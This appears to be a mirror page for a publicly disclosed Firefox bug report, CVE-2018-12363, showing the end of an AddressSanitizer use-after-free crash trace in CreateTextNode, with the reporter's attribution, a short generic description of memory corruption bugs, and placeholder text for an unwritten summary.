SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5763:44 in CreateTextNode Shadow bytes around the buggy address: 0x0c3a80044de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a80044df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a80044e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a80044e10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c3a80044e20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c3a80044e30: fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd 0x0c3a80044e40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c3a80044e50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c3a80044e60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c3a80044e70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c3a80044e80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==12349==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity memory corruption bug in DOM: Core & HTML. Mozilla made it public on 2 June 2018 as CVE-2018-12363.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.